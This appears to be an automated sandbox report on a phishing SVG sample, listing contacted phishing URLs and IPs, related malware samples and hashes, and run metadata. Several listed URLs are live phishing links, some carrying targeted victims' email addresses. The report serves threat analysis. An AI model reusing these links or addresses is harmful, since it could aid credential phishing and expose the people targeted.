https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsLWhEQvrYSwn6Myz8CKuv40	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqMeibuqaIIi6X12DrhDLkKwx40	false	Avira URL Cloud: safe	unknown
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrs8j7nQAKBBl12sJW4Owx39	false	Avira URL Cloud: safe	unknown
https://ruhlamat.brightnexst.ru/pax6lf1/#nt.mack%40ruhlamat.de	false		unknown
https://ruhlamat.brightnexst.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://ruhlamat.brightnexst.ru/opWaiTCMaxXhMYuMuKq4fyg9efmoN09n7uh9VoFQr45139	false	Avira URL Cloud: phishing	unknown
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqiustAKjhbPSPBZ34Fjuv40	false	Avira URL Cloud: safe	unknown
https://ruhlamat.brightnexst.ru/klRWqE1dKIodhWl4TpdaxFJijhYuapwgllaKZfmtQJkSm0tLq8uv214	false	Avira URL Cloud: phishing	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://ruhlamat.brightnexst.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/ijroFnG3M60J3FhNqOM0FGt8JF3y59e2lJkLklr1EsoLL8YoDCMTx8tUgChmhe8g12209	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYR	true		unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://ruhlamat.brightnexst.ru/uvLvmC7l9w6480rnXql6LUVFUbTd0WjQdeb8poxJQbYUmnIyfJrvMhrwlvuHTsXAZqdgh260	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/kfgf9NVduennDi1yqDND8qxTJhYwqYeNbTZluQbAplgy	false	Avira URL Cloud: phishing	unknown
https://ruhlamat.brightnexst.ru/nmRYy4ssaQWPj7CPMYEm8BmTefH6bqt1U8Yw5	false	Avira URL Cloud: phishing	unknown
https://mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es/5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsQltPvjcyzmSO1uv32	false	Avira URL Cloud: safe	unknown
https://ruhlamat.brightnexst.ru/abbk3UUlyibKbrswXgh27	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_120.1.dr	false		high
https://www.homedepot.com	chromecache_102.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.146.141	ruhlamat.brightnexst.ru	United States	13335	CLOUDFLARENETUS	true
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.1.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
13.33.187.14	unknown	United States	16509	AMAZON-02US	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
104.16.5.189	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.111.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
172.67.189.188	mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es	United States	13335	CLOUDFLARENETUS	false
172.67.129.81	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.6.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.33.187.120	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
188.114.97.3	fobf2.qxwhvv.ru	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
172.67.70.233	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.164	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.4
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1641402
Start date and time:	2025-03-18 09:09:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7274442614.svg
Detection:	MAL
Classification:	mal100.phis.evad.winSVG@25/82@46/23
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 142.250.185.238, 64.233.184.84, 142.250.186.46, 216.58.206.78, 172.217.18.14, 142.250.186.142, 199.232.210.172, 2.23.77.188, 199.232.214.172, 172.217.16.206, 142.250.185.174, 216.58.212.138, 216.58.206.42, 142.250.185.106, 142.250.186.138, 142.250.185.74, 172.217.16.202, 142.250.185.170, 142.250.185.138, 142.250.185.202, 142.250.181.234, 142.250.185.234, 142.250.186.74, 142.250.186.170, 172.217.23.106, 142.250.186.106, 142.250.186.42, 216.58.206.46, 142.250.186.174, 142.250.186.163, 142.250.185.142, 172.217.18.3, 142.250.185.78, 142.250.186.78, 142.250.185.110, 23.60.203.209, 4.245.163.56
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.146.141	https://link.shoppermeet.net/deep-link?clickid=01H1RW78ZQF6QB5RM2RB5KGV69&geo=us&ip=66.249.66.3&merchantid=108994&propertyid=417896&publisherkey=0f210dc9-c1ef-4153-bd53-8fb98995be03&subid=01GWHNP35ZW7N25QKXMEA9EHVQ&url=%68%74%74%70%73%3A%2F%2F%30%4B%51%32%65%72%33%32%64%36%53%43%47%77%70%48%7A%63%33%32%2E%62%72%69%67%68%74%6E%65%78%73%74%2E%72%75%2F%70%61%78%36%6C%66%31%2F%23%231shawn.murray@murraysecurityservices.com	Get hash	malicious	Unknown	Browse
	https://link.shoppermeet.net/deep-link?clickid=01H1RW78ZQF6QB5RM2RB5KGV69&geo=us&ip=66.249.66.3&merchantid=108994&propertyid=417896&publisherkey=0f210dc9-c1ef-4153-bd53-8fb98995be03&subid=01GWHNP35ZW7N25QKXMEA9EHVQ&url=%68%74%74%70%73%3A%2F%2F%35%41%67%30%79%69%39%64%47%35%4A%6F%52%67%51%59%48%77%6E%48%2E%62%72%69%67%68%74%6E%65%78%73%74%2E%72%75%2F%70%61%78%36%6C%66%31%2F%23%233caca@modelo.com	Get hash	malicious	Unknown	Browse
	SMKbEpd4w5X9KRlytSldL__.html	Get hash	malicious	Unknown	Browse
104.18.94.41	https://check.xemyrai6.icu/gkcxv.google?i=be5d552d-303c-4e59-9dfd-ba549f72437b%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:543195''	Get hash	malicious	HTMLPhisher	Browse
	https://tinyurl.com/2ay6wm2j	Get hash	malicious	Unknown	Browse
	5678962847.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://docs.zoom.us/doc/UiDWeOg1RXmNTGjYylVpmg	Get hash	malicious	Unknown	Browse
	Remserv.pdf	Get hash	malicious	HTMLPhisher	Browse
	VMail_39200330.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://blgwlnauto.com/kylefax/faxdocuments.html	Get hash	malicious	HTMLPhisher	Browse
	Emarine System Contact Update.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
104.26.1.100	install.exe	Get hash	malicious	Unknown	Browse	get.geojs.io/v1/ip/geo.json
13.33.187.14	VMail_39200330.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://vleducationdemo.com/cllascio.php?342d363837343734373037333361326632663561353933373761326536363664363137393664376136613730326537323735326636363439363336313465363437353532363537303631353332662d	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://apply.atu.ie/_entity/sharepointdocumentlocation/a10f35db-a302-f011-bae2-7c1e524f2423/903e00e6-7542-ee11-bdf3-6045bd8c56d2?file=CONFIDENTIALDoc_Au89994.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Sweepingcorp00990__098.html	Get hash	malicious	HTMLPhisher	Browse
	http://t.go.rac.co.uk/r/?id=h1020a75,d7623c,1ac8b&p1=r%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFv%EF%BB%BF%EF%BB%BFi%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFw%EF%BB%BF%EF%BB%BFs%EF%BB%BF%EF%BB%BFt%EF%BB%BF%EF%BB%BFi%EF%BB%BF%EF%BB%BFp%EF%BB%BF%EF%BB%BFs%EF%BB%BF%EF%BB%BFa%EF%BB%BF%EF%BB%BFn%EF%BB%BF%EF%BB%BFd%EF%BB%BF%EF%BB%BFo%EF%BB%BF%EF%BB%BFf%EF%BB%BF%EF%BB%BFf%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFr%EF%BB%BF%EF%BB%BFs.com/sys/html/SNRgusxqYwmKT0SXMypB0/aW52ZXN0bWVudHNAZmlyc3RvbnRhcmlvLmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
developers.cloudflare.com	5678962847.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	suspect.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	VMail_39200330.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	http://email.shop2.wonderpark.my/c/eJwUyk1uhSAQAODTwJIM8wPzFiy68R4KYzX1iRHTprdvuv9aiRbTDN5KzIyIokp-K7YirKlWzVWAeRFKVVflF5OpSvJ7QUABijkKKVBgihmqGWBeYGnsGMbWLww__Wx2X_P9Fd6__ijb81zD0YfDyeFk80tZKK9iUJtASjaTNA2LnWO_eqj97XDyd7EWtv45n6OfjqHeNp5jP23rjx3jn_nvgn8BAAD__y9yPWo	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	2450856955_.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
code.jquery.com	tmp64E8.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	5678962847.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	suspect.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	Remserv.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	VMail_39200330.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	437cb98f-02e6-3095-7a14-f6ed0fcbd9b6.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	Play Voicemail Transcription. (387.KB).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	Play_VM-Now(eric.basil)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://analytics.zoho.com/open-view/3062125000000006086	Get hash	malicious	Unknown	Browse	151.101.194.137
github.com	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse	140.82.113.3
	Newfile.bat	Get hash	malicious	Unknown	Browse	140.82.121.4
	j.cmd	Get hash	malicious	Unknown	Browse	140.82.121.4
	PRnwwnZ5tc.exe	Get hash	malicious	NovaSentinel	Browse	140.82.114.4
	BlockyRush3.3.3.msi	Get hash	malicious	NovaSentinel	Browse	140.82.113.4
	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse	140.82.121.3
	PRnwwnZ5tc.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.3
	BlockyRush3.3.3.msi	Get hash	malicious	NovaSentinel	Browse	140.82.121.3
	Fordham.bat	Get hash	malicious	Unknown	Browse	140.82.121.4
	suspect.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	GwRba1mTFR.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	vLqQXoqWDK.exe	Get hash	malicious	Credential Flusher	Browse	52.36.63.191
	qdS0ohqZBN.exe	Get hash	malicious	Vidar	Browse	18.244.18.27
	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse	76.223.105.230
	USD SWIFT.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	PRnwwnZ5tc.exe	Get hash	malicious	NovaSentinel	Browse	13.248.169.48
	na.elf	Get hash	malicious	Prometei	Browse	44.247.155.67
	https://check.xemyrai6.icu/gkcxv.google?i=be5d552d-303c-4e59-9dfd-ba549f72437b%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:543195''	Get hash	malicious	HTMLPhisher	Browse	18.245.86.9
	BlockyRush3.3.3.msi	Get hash	malicious	NovaSentinel	Browse	76.223.105.230
	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse	45.112.123.126
CLOUDFLARENETUS	8ORuyLTpTv.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	qdS0ohqZBN.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Q8oulu12OT.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse	172.64.41.3
	rGjA6UVpDZ.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	tmp64E8.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	PRnwwnZ5tc.exe	Get hash	malicious	NovaSentinel	Browse	104.16.71.101
	https://check.xemyrai6.icu/gkcxv.google?i=be5d552d-303c-4e59-9dfd-ba549f72437b%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:543195''	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	Payment Advice_17.03.25.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	HSBC_PAYMENT_ADVICE.exe	Get hash	malicious	Azorult, GuLoader	Browse	172.67.132.21
CLOUDFLARENETUS	8ORuyLTpTv.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	qdS0ohqZBN.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Q8oulu12OT.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse	172.64.41.3
	rGjA6UVpDZ.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	tmp64E8.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	PRnwwnZ5tc.exe	Get hash	malicious	NovaSentinel	Browse	104.16.71.101
	https://check.xemyrai6.icu/gkcxv.google?i=be5d552d-303c-4e59-9dfd-ba549f72437b%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:543195''	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	Payment Advice_17.03.25.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	HSBC_PAYMENT_ADVICE.exe	Get hash	malicious	Azorult, GuLoader	Browse	172.67.132.21
CLOUDFLARENETUS	8ORuyLTpTv.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	qdS0ohqZBN.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Q8oulu12OT.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse	172.64.41.3
	rGjA6UVpDZ.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	tmp64E8.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	PRnwwnZ5tc.exe	Get hash	malicious	NovaSentinel	Browse	104.16.71.101
	https://check.xemyrai6.icu/gkcxv.google?i=be5d552d-303c-4e59-9dfd-ba549f72437b%20#%20''I%20am%20not%20a%20robot%20-%20%D0%A1%D0%90%D0%A0%D0%A2%D0%A1%D0%9D%D0%90%20Verification%20ID:543195''	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	Payment Advice_17.03.25.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	HSBC_PAYMENT_ADVICE.exe	Get hash	malicious	Azorult, GuLoader	Browse	172.67.132.21

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.3